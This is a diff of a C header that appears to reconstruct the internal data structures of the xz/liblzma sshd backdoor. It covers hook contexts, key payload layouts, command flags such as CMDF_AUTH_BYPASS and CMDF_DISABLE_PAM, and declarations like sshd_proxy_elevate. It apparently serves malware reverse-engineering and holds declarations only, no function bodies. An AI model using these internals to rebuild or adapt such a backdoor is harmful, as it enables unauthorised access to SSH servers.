1868  CMDF_SOCKFD_MASK = 0x78
-
1869 };
-
1870 
-
1871 enum CommandFlags3 {
-
1875  CMDF_SOCKET_NUM = 0x1F,
-
1879  CMDF_MONITOR_REQ_VAL = 0x3F
-
1880 };
-
1881 
-
1882 assert_offset(cmd_arguments_t, flags1, 0);
-
1883 assert_offset(cmd_arguments_t, flags2, 1);
-
1884 assert_offset(cmd_arguments_t, flags3, 2);
-
1885 assert_offset(cmd_arguments_t, u, 3);
-
1886 static_assert(sizeof(cmd_arguments_t) == 0x5);
-
1887 
-
1888 typedef struct __attribute__((packed)) key_ctx {
-
1889  const BIGNUM *rsa_n;
-
1890  const BIGNUM *rsa_e;
-
1891  cmd_arguments_t args;
-
1892  key_payload_t payload;
-
1893  PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
-
1894  u8 ivec[CHACHA20_IV_SIZE];
-
1895  u8 ed448_key[ED448_KEY_SIZE];
-
1896  PADDING(2);
-
1897 } key_ctx_t;
-
1898 
-
1899 assert_offset(key_ctx_t, rsa_n, 0);
-
1900 assert_offset(key_ctx_t, rsa_e, 0x8);
-
1901 assert_offset(key_ctx_t, args, 0x10);
-
1902 assert_offset(key_ctx_t, payload, 0x15);
-
1903 assert_offset(key_ctx_t, ivec, 0x26D);
-
1904 assert_offset(key_ctx_t, ed448_key, 0x27D);
-
1905 
-
1910 typedef struct __attribute__((packed)) monitor_data {
-
1911  u32 cmd_type;
-
1912  PADDING(4);
-
1913  cmd_arguments_t *args;
-
1914  const BIGNUM *rsa_n;
-
1915  const BIGNUM *rsa_e;
-
1916  u8 *payload_body;
-
1917  u16 payload_body_size;
-
1918  PADDING(6);
-
1919  RSA *rsa;
-
1920 } monitor_data_t;
-
1921 
-
1922 assert_offset(monitor_data_t, cmd_type, 0);
-
1923 assert_offset(monitor_data_t, args, 0x8);
-
1924 assert_offset(monitor_data_t, rsa_n, 0x10);
-
1925 assert_offset(monitor_data_t, rsa_e, 0x18);
-
1926 assert_offset(monitor_data_t, payload_body, 0x20);
-
1927 assert_offset(monitor_data_t, payload_body_size, 0x28);
-
1928 assert_offset(monitor_data_t, rsa, 0x30);
-
1929 
-
1934 typedef union __attribute__((packed)) payload {
-
1935  monitor_data_t monitor;
-
1936  u8 data[608];
-
1937 } payload_t;
-
1938 
-
1943 typedef struct __attribute__((packed)) run_backdoor_commands_data {
-
1944  u64 body_size;
-
1945  BOOL *p_do_orig;
-
1946  u64 payload_size;
-
1947  u64 hostkey_hash_offset;
-
1948  RSA *rsa;
-
1949  PADDING(8);
-
1950  u8 *ed448_key_ptr;
-
1951  u64 num_keys;
-
1952  PADDING(4);
-
1953  u32 key_cur_idx;
-
1954  u64 key_prev_idx;
-
1955  PADDING(7);
-
1956  u8 unk57;
-
1957  union {
-
1958  struct __attribute__((packed)) {
-
1959  int socket_fd;
-
1960  u32 fd_recv_size;
-
1961  u8 fd_recv_buf[64];
-
1962  } sock;
+
1513  PADDING(sizeof(void *));
+
1514  sshd_monitor_func_t mm_answer_keyallowed;
+
1515  sshd_monitor_func_t mm_answer_keyverify;
+
1516  PADDING(sizeof(void *));
+
1517 } backdoor_hooks_ctx_t;
+
1518 
+
1519 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
+
1520 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
+
1521 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
+
1522 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
+
1523 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
+
1524 assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
+
1525 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
+
1526 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
+
1527 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
+
1528 
+
1529 typedef struct __attribute__((packed)) backdoor_setup_params {
+
1530  PADDING(0x8);
+
1531  backdoor_shared_globals_t *shared;
+
1532  backdoor_hooks_ctx_t *hook_params;
+
1533  lzma_check_state dummy_check_state;
+
1534  elf_entry_ctx_t *entry_ctx;
+
1535 } backdoor_setup_params_t;
+
1536 
+
1537 assert_offset(backdoor_setup_params_t, shared, 0x8);
+
1538 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
+
1539 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
+
1540 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
+
1541 
+
1546 typedef struct __attribute__((packed)) elf_handles {
+
1551  elf_info_t *main;
+
1557  elf_info_t *dynamic_linker;
+
1558  elf_info_t *libc;
+
1559  elf_info_t *liblzma;
+
1560  elf_info_t *libcrypto;
+
1561 } elf_handles_t;
+
1562 
+
1563 assert_offset(elf_handles_t, main, 0x0);
+
1564 assert_offset(elf_handles_t, dynamic_linker, 0x8);
+
1565 assert_offset(elf_handles_t, libc, 0x10);
+
1566 assert_offset(elf_handles_t, liblzma, 0x18);
+
1567 assert_offset(elf_handles_t, libcrypto, 0x20);
+
1568 static_assert(sizeof(elf_handles_t) == 0x28);
+
1569 
+
1570 typedef struct __attribute__((packed)) main_elf {
+
1571  elf_handles_t *elf_handles;
+
1572  Elf64_Ehdr *dynamic_linker_ehdr;
+
1573  void **__libc_stack_end;
+
1574 } main_elf_t;
+
1575 
+
1576 assert_offset(main_elf_t, elf_handles, 0x0);
+
1577 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
+
1578 assert_offset(main_elf_t, __libc_stack_end, 0x10);
+
1579 static_assert(sizeof(main_elf_t) == 0x18);
+
1580 
+
1581 typedef struct backdoor_data backdoor_data_t;
+
1582 
+
1586 typedef struct __attribute__((packed)) backdoor_data_handle {
+
1587  backdoor_data_t *data;
+
1588  elf_handles_t *elf_handles;
+
1589 } backdoor_data_handle_t;
+
1590 
+
1591 assert_offset(backdoor_data_handle_t, data, 0x0);
+
1592 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
+
1593 
+
1594 typedef struct __attribute__((packed)) string_item {
+
1598  EncodedStringId string_id;
+
1599  PADDING(4);
+
1603  void *func_start;
+
1607  void *func_end;
+
1611  void *xref;
+
1612 } string_item_t;
+
1613 
+
1614 assert_offset(string_item_t, string_id, 0);
+
1615 assert_offset(string_item_t, func_start, 0x8);
+
1616 assert_offset(string_item_t, func_end, 0x10);
+
1617 assert_offset(string_item_t, xref, 0x18);
+
1618 static_assert(sizeof(string_item_t) == 0x20);
+
1619 
+
1620 typedef struct __attribute__((packed)) string_references {
+
1621  string_item_t entries[27];
+
1622 } string_references_t;
+
1623 
+
1624 assert_offset(string_references_t, entries, 0);
+
1625 static_assert(sizeof(string_references_t) == 0x360);
+
1626 
+
1631 typedef struct __attribute__((packed)) backdoor_data {
+
1636  struct link_map *main_map;
+
1641  struct link_map *dynamic_linker_map;
+
1642  struct link_map *liblzma_map;
+
1643  struct link_map *libcrypto_map;
+
1644  struct link_map *libsystemd_map;
+
1645  struct link_map *libc_map;
+
1646 
+
1647  elf_handles_t elf_handles;
+
1648 
+
1649  backdoor_data_handle_t data_handle;
+
1650 
+
1656  elf_info_t main_info;
+
1662  elf_info_t dynamic_linker_info;
+
1666  elf_info_t libc_info;
+
1667  elf_info_t liblzma_info;
+
1671  elf_info_t libcrypto_info;
+
1672 
+
1676  libc_imports_t libc_imports;
+
1681  string_references_t string_refs;
+
1682  lzma_allocator fake_allocator;
+
1686  lzma_allocator *import_resolver;
+
1687 } backdoor_data_t;
+
1688 
+
1689 assert_offset(backdoor_data_t, main_map, 0);
+
1690 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
+
1691 assert_offset(backdoor_data_t, liblzma_map, 0x10);
+
1692 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
+
1693 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
+
1694 assert_offset(backdoor_data_t, libc_map, 0x28);
+
1695 assert_offset(backdoor_data_t, elf_handles, 0x30);
+
1696 assert_offset(backdoor_data_t, data_handle, 0x58);
+
1697 assert_offset(backdoor_data_t, main_info, 0x68);
+
1698 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
+
1699 assert_offset(backdoor_data_t, libc_info, 0x268);
+
1700 assert_offset(backdoor_data_t, liblzma_info, 0x368);
+
1701 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
+
1702 assert_offset(backdoor_data_t, libc_imports, 0x568);
+
1703 assert_offset(backdoor_data_t, string_refs, 0x5D8);
+
1704 assert_offset(backdoor_data_t, fake_allocator, 0x938);
+
1705 assert_offset(backdoor_data_t, import_resolver, 0x950);
+
1706 static_assert(sizeof(backdoor_data_t) == 0x958);
+
1707 
+
1708 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
+
1709  backdoor_data_t *data;
+
1710  elf_handles_t *elf_handles;
+
1715  void* RSA_public_decrypt_plt;
+
1720  void* EVP_PKEY_set1_RSA_plt;
+
1725  void* RSA_get0_key_plt;
+
1726  backdoor_hooks_data_t **hooks_data_addr;
+
1727  libc_imports_t *libc_imports;
+
1728 } backdoor_shared_libraries_data_t;
+
1729 
+
1730 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
+
1731 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
+
1732 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
+
1733 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
+
1734 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
+
1735 assert_offset(backdoor_shared_libraries_data_t, hooks_data_addr, 0x28);
+
1736 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
+
1737 
+
1744 typedef union {
+
1746  u32 index;
+
1747  struct {
+
1749  u32 bit_index : 3;
+
1751  u32 byte_index : 29;
+
1752  };
+
1753 } secret_data_shift_cursor_t;
+
1754 
+
1755 typedef struct __attribute__((packed)) secret_data_item {
+
1756  u8 *code;
+
1757  secret_data_shift_cursor_t shift_cursor;
+
1758  u32 operation_index;
+
1759  u32 shift_count;
+
1760  u32 index;
+
1761 } secret_data_item_t;
+
1762 
+
1763 assert_offset(secret_data_item_t, code, 0x0);
+
1764 assert_offset(secret_data_item_t, shift_cursor, 0x8);
+
1765 assert_offset(secret_data_item_t, operation_index, 0xC);
+
1766 assert_offset(secret_data_item_t, shift_count, 0x10);
+
1767 assert_offset(secret_data_item_t, index, 0x14);
+
1768 static_assert(sizeof(secret_data_item_t) == 0x18);
+
1769 
+
1775 typedef struct __attribute__((packed)) key_payload_hdr {
+
1776  u32 field_a;
+
1777  u32 field_b;
+
1778  u64 field_c;
+
1779 } key_payload_hdr_t;
+
1780 
+
1781 typedef union __attribute__((packed)) {
+
1782  u8 value[2];
+
1783  u16 size;
+
1784 } u_cmd_arguments_t;
+
1785 
+
1786 typedef struct __attribute__((packed)) cmd_arguments {
+
1787  u8 flags1;
+
1788  u8 flags2;
+
1789  u8 flags3;
+
1790  u_cmd_arguments_t u;
+
1791 } cmd_arguments_t;
+
1792 
+
1793 typedef struct __attribute__((packed)) key_payload_body {
+
1795  u8 signature[ED448_SIGNATURE_SIZE];
+
1796  cmd_arguments_t args;
+
1797  u8 data[0x1A1];
+
1798 } key_payload_body_t;
+
1799 
+
1800 assert_offset(key_payload_body_t, args, 0x72);
+
1801 
+
1807 typedef struct __attribute__((packed)) key_payload {
+
1808  key_payload_hdr_t header;
+
1809  key_payload_body_t body;
+
1810 } key_payload_t;
+
1811 static_assert(sizeof(key_payload_t) == 0x228);
+
1812 
+
1813 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
+
1814 
+
1815 enum CommandFlags1 {
+
1819  CMDF_8BYTES = 0x1,
+
1823  CMDF_SETLOGMASK = 0x4,
+
1827  CMDF_SOCKET_INDEX = 0x20,
+
1831  CMDF_DISABLE_PAM = 0x40,
+
1835  CMDF_NO_EXTENDED_SIZE = 0x80
+
1836 };
+
1837 
+
1838 enum CommandFlags2 {
+
1843  CMDF_IMPERSONATE = 0x1,
+
1848  CMDF_CHANGE_MONITOR_REQ = 0x2,
+
1852  CMDF_AUTH_BYPASS = 0x4,
+
1857  CMDF_CONTINUATION = 0x40,
+
1862  CMDF_PSELECT = 0xC0,
+
1863 
+
1869  CMDF_SOCKFD_MASK = 0x78
+
1870 };
+
1871 
+
1872 enum CommandFlags3 {
+
1876  CMDF_SOCKET_NUM = 0x1F,
+
1880  CMDF_MONITOR_REQ_VAL = 0x3F
+
1881 };
+
1882 
+
1883 assert_offset(cmd_arguments_t, flags1, 0);
+
1884 assert_offset(cmd_arguments_t, flags2, 1);
+
1885 assert_offset(cmd_arguments_t, flags3, 2);
+
1886 assert_offset(cmd_arguments_t, u, 3);
+
1887 static_assert(sizeof(cmd_arguments_t) == 0x5);
+
1888 
+
1889 typedef struct __attribute__((packed)) key_ctx {
+
1890  const BIGNUM *rsa_n;
+
1891  const BIGNUM *rsa_e;
+
1892  cmd_arguments_t args;
+
1893  key_payload_t payload;
+
1894  PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
+
1895  u8 ivec[CHACHA20_IV_SIZE];
+
1896  u8 ed448_key[ED448_KEY_SIZE];
+
1897  PADDING(2);
+
1898 } key_ctx_t;
+
1899 
+
1900 assert_offset(key_ctx_t, rsa_n, 0);
+
1901 assert_offset(key_ctx_t, rsa_e, 0x8);
+
1902 assert_offset(key_ctx_t, args, 0x10);
+
1903 assert_offset(key_ctx_t, payload, 0x15);
+
1904 assert_offset(key_ctx_t, ivec, 0x26D);
+
1905 assert_offset(key_ctx_t, ed448_key, 0x27D);
+
1906 
+
1911 typedef struct __attribute__((packed)) monitor_data {
+
1912  u32 cmd_type;
+
1913  PADDING(4);
+
1914  cmd_arguments_t *args;
+
1915  const BIGNUM *rsa_n;
+
1916  const BIGNUM *rsa_e;
+
1917  u8 *payload_body;
+
1918  u16 payload_body_size;
+
1919  PADDING(6);
+
1920  RSA *rsa;
+
1921 } monitor_data_t;
+
1922 
+
1923 assert_offset(monitor_data_t, cmd_type, 0);
+
1924 assert_offset(monitor_data_t, args, 0x8);
+
1925 assert_offset(monitor_data_t, rsa_n, 0x10);
+
1926 assert_offset(monitor_data_t, rsa_e, 0x18);
+
1927 assert_offset(monitor_data_t, payload_body, 0x20);
+
1928 assert_offset(monitor_data_t, payload_body_size, 0x28);
+
1929 assert_offset(monitor_data_t, rsa, 0x30);
+
1930 
+
1935 typedef union __attribute__((packed)) backdoor_runtime_data {
+
1936 #ifndef XZRE_SLIM
+
1937  struct timespec timespec;
+
1938  fd_set fd_set;
+
1939 #endif
+
1940  monitor_data_t monitor;
+
1941  u8 data[608];
+
1942 } backdoor_runtime_data_t;
+
1943 
+
1948 typedef struct __attribute__((packed)) run_backdoor_commands_data {
+
1949  u64 body_size;
+
1950  BOOL *p_do_orig;
+
1951  u64 payload_size;
+
1952  u64 hostkey_hash_offset;
+
1953  RSA *rsa;
+
1954  PADDING(8);
+
1955  u8 *ed448_key_ptr;
+
1956  u64 num_keys;
+
1957  PADDING(4);
+
1958  u32 key_cur_idx;
+
1959  u64 key_prev_idx;
+
1960  PADDING(7);
+
1961  u8 unk57;
+
1962  union {
1963  struct __attribute__((packed)) {
-
1964  u64 num_host_keys;
-
1965  u64 num_host_pubkeys;
-
1966  u8 ed448_key[ED448_KEY_SIZE];
-
1967  } keys;
-
1968  } u;
-
1969  PADDING(7);
-
1970  payload_t payload;
-
1971  key_ctx_t kctx;
-
1972 } run_backdoor_commands_data_t;
-
1973 
-
1974 assert_offset(run_backdoor_commands_data_t, body_size, 0);
-
1975 assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
-
1976 assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
-
1977 assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
-
1978 assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
-
1979 assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
-
1980 assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
-
1981 assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
-
1982 assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
-
1983 assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
-
1984 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
-
1985 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
-
1986 assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
-
1987 assert_offset(run_backdoor_commands_data_t, payload, 0xA8);
-
1988 assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
-
1989 
-
1990 
-
1991 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
-
1997  ptrdiff_t cpuid_random_symbol_got_offset;
-
2003  u64 cpuid_got_index;
-
2009  ptrdiff_t backdoor_init_stage2_got_offset;
-
2010 } backdoor_cpuid_reloc_consts_t;
-
2011 
-
2012 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
-
2013 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
-
2014 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
-
2015 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
+
1964  int socket_fd;
+
1965  u32 fd_recv_size;
+
1966  u8 fd_recv_buf[64];
+
1967  } sock;
+
1968  struct __attribute__((packed)) {
+
1969  u64 num_host_keys;
+
1970  u64 num_host_pubkeys;
+
1971  u8 ed448_key[ED448_KEY_SIZE];
+
1972  } keys;
+
1973  } u;
+
1974  PADDING(7);
+
1975  backdoor_runtime_data_t payload;
+
1976  key_ctx_t kctx;
+
1977 } run_backdoor_commands_data_t;
+
1978 
+
1979 assert_offset(run_backdoor_commands_data_t, body_size, 0);
+
1980 assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
+
1981 assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
+
1982 assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
+
1983 assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
+
1984 assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
+
1985 assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
+
1986 assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
+
1987 assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
+
1988 assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
+
1989 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
+
1990 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
+
1991 assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
+
1992 assert_offset(run_backdoor_commands_data_t, payload, 0xA8);
+
1993 assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
+
1994 
+
1995 
+
1996 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
+
2002  ptrdiff_t cpuid_random_symbol_got_offset;
+
2008  u64 cpuid_got_index;
+
2014  ptrdiff_t backdoor_init_stage2_got_offset;
+
2015 } backdoor_cpuid_reloc_consts_t;
2016 
-
2017 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
-
2023  ptrdiff_t tls_get_addr_plt_offset;
-
2029  ptrdiff_t tls_get_addr_random_symbol_got_offset;
-
2030 } backdoor_tls_get_addr_reloc_consts_t;
-
2031 
-
2032 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
-
2033 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
-
2034 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
-
2035 
-
2036 typedef struct __attribute__((packed)) elf_functions {
-
2037  PADDING(sizeof(u64));
-
2043  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
-
2044  PADDING(sizeof(u64));
-
2045  PADDING(sizeof(u64));
-
2051  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2052  PADDING(sizeof(u64));
-
2058  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
-
2059 } elf_functions_t;
-
2060 
-
2061 assert_offset(elf_functions_t, init_hook_functions, 0x8);
-
2062 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
-
2063 assert_offset(elf_functions_t, elf_parse, 0x30);
-
2064 static_assert(sizeof(elf_functions_t) == 0x38);
+
2017 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
+
2018 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
+
2019 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
+
2020 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
+
2021 
+
2022 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
+
2028  ptrdiff_t tls_get_addr_plt_offset;
+
2034  ptrdiff_t tls_get_addr_random_symbol_got_offset;
+
2035 } backdoor_tls_get_addr_reloc_consts_t;
+
2036 
+
2037 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
+
2038 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
+
2039 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
+
2040 
+
2041 typedef struct __attribute__((packed)) elf_functions {
+
2042  PADDING(sizeof(u64));
+
2048  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
+
2049  PADDING(sizeof(u64));
+
2050  PADDING(sizeof(u64));
+
2056  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2057  PADDING(sizeof(u64));
+
2063  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
+
2064 } elf_functions_t;
2065 
-
2066 typedef struct __attribute__((packed)) fake_lzma_allocator {
-
2067  PADDING(sizeof(u64));
-
2068  lzma_allocator allocator;
-
2069 } fake_lzma_allocator_t;
+
2066 assert_offset(elf_functions_t, init_hook_functions, 0x8);
+
2067 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
+
2068 assert_offset(elf_functions_t, elf_parse, 0x30);
+
2069 static_assert(sizeof(elf_functions_t) == 0x38);
2070 
-
2071 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
-
2072 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
-
2073 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
-
2074 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
+
2071 typedef struct __attribute__((packed)) fake_lzma_allocator {
+
2072  PADDING(sizeof(u64));
+
2073  lzma_allocator allocator;
+
2074 } fake_lzma_allocator_t;
2075 
-
2076 typedef struct __attribute__((packed)) instruction_search_ctx
-
2077 {
-
2082  u8 *start_addr;
-
2087  u8 *end_addr;
-
2092  u8 *offset_to_match;
-
2097  u32 *output_register_to_match;
-
2098  u8 *output_register; // TODO unknown
-
2103  BOOL result;
-
2104  PADDING(0x4);
-
2105  backdoor_hooks_data_t *hooks;
-
2106  imported_funcs_t *imported_funcs;
-
2107 } instruction_search_ctx_t;
-
2108 
-
2109 assert_offset(instruction_search_ctx_t, start_addr, 0);
-
2110 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
-
2111 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
-
2112 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
-
2113 assert_offset(instruction_search_ctx_t, output_register, 0x20);
-
2114 assert_offset(instruction_search_ctx_t, result, 0x28);
-
2115 assert_offset(instruction_search_ctx_t, hooks, 0x30);
-
2116 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
-
2117 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
-
2118 
-
2119 
-
2137 extern BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx);
-
2138 
-
2147 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
-
2148 
-
2158 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
-
2159 
-
2168 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
-
2169 
-
2179 extern BOOL find_instruction_with_mem_operand(
-
2180  u8 *code_start,
-
2181  u8 *code_end,
-
2182  dasm_ctx_t *dctx,
-
2183  void *mem_address
-
2184 );
-
2185 
-
2195 extern BOOL find_lea_instruction_with_mem_operand(
-
2196  u8 *code_start,
-
2197  u8 *code_end,
-
2198  dasm_ctx_t *dctx,
-
2199  void *mem_address
-
2200 );
-
2201 
-
2211 extern BOOL find_add_instruction_with_mem_operand(
-
2212  u8 *code_start,
-
2213  u8 *code_end,
-
2214  dasm_ctx_t *dctx,
-
2215  void *mem_address
-
2216 );
-
2217 
-
2228 extern BOOL find_mov_lea_instruction(
-
2229  u8 *code_start,
-
2230  u8 *code_end,
-
2231  BOOL is_64bit_operand,
-
2232  BOOL load_flag,
-
2233  dasm_ctx_t *dctx
-
2234 );
-
2235 
-
2251 extern BOOL find_mov_instruction(
-
2252  u8 *code_start,
-
2253  u8 *code_end,
-
2254  BOOL is_64bit_operand,
-
2255  BOOL load_flag,
-
2256  dasm_ctx_t *dctx
-
2257 );
-
2258 
-
2269 extern BOOL find_instruction_with_mem_operand_ex(
-
2270  u8 *code_start,
-
2271  u8 *code_end,
-
2272  dasm_ctx_t *dctx,
-
2273  int opcode,
-
2274  void *mem_address
-
2275 );
-
2276 
-
2293 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
-
2294 
-
2303 extern u8 *find_string_reference(
-
2304  u8 *code_start,
-
2305  u8 *code_end,
-
2306  const char *str
-
2307 );
-
2308 
-
2318 extern u8 *elf_find_string_reference(
-
2319  elf_info_t *elf_info,
-
2320  EncodedStringId encoded_string_id,
-
2321  u8 *code_start,
-
2322  u8 *code_end
-
2323 );
-
2324 
-
2344 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
-
2345 
-
2355 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
-
2356 
-
2368 extern BOOL find_function(
-
2369  u8 *code_start,
-
2370  void **func_start,
-
2371  void **func_end,
-
2372  u8 *search_base,
-
2373  u8 *code_end,
-
2374  FuncFindType find_mode);
-
2375 
-
2386 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
-
2387 
-
2398 extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
-
2399 
-
2407 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
-
2408 
-
2416 extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
-
2417 
-
2431 extern BOOL main_elf_parse(main_elf_t *main_elf);
-
2432 
-
2433 extern char *check_argument(char arg_first_char, char* arg_name);
-
2434 
-
2463 extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
-
2464 
-
2472 extern BOOL elf_find_string_references(elf_info_t *elf_info, string_references_t *refs);
-
2473 
-
2482 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
-
2483 
-
2491 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2492 
-
2500 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
-
2501 
-
2510 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
-
2511 
-
2528 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
-
2529 
-
2541 extern void *elf_get_reloc_symbol(
-
2542  elf_info_t *elf_info,
-
2543  Elf64_Rela *relocs,
-
2544  u32 num_relocs,
-
2545  u64 reloc_type,
-
2546  EncodedStringId encoded_string_id);
-
2547 
-
2555 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2556 
-
2564 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2565 
-
2579 extern BOOL elf_find_function_pointer(
-
2580  StringXrefId xref_id,
-
2581  void **pOutCodeStart, void **pOutCodeEnd,
-
2582  void **pOutFptrAddr, elf_info_t *elf_info,
-
2583  string_references_t *xrefs,
-
2584  global_context_t *ctx);
-
2585 
-
2598 extern char *elf_find_string(
-
2599  elf_info_t *elf_info,
-
2600  EncodedStringId *stringId_inOut,
-
2601  void *rodata_start_ptr);
-
2602 
-
2609 extern lzma_allocator *get_lzma_allocator(void);
-
2610 
-
2621 extern fake_lzma_allocator_t *get_lzma_allocator_address(void);
-
2622 
-
2631 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
-
2632 
-
2641 extern void fake_lzma_free(void *opaque, void *ptr);
-
2642 
-
2651 extern elf_functions_t *get_elf_functions_address(void);
-
2652 
-
2653 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
-
2654 
-
2667 extern BOOL secret_data_append_from_code(
-
2668  void *code_start,
-
2669  void *code_end,
-
2670  secret_data_shift_cursor_t shift_cursor,
-
2671  unsigned shift_count, BOOL start_from_call);
-
2672 
-
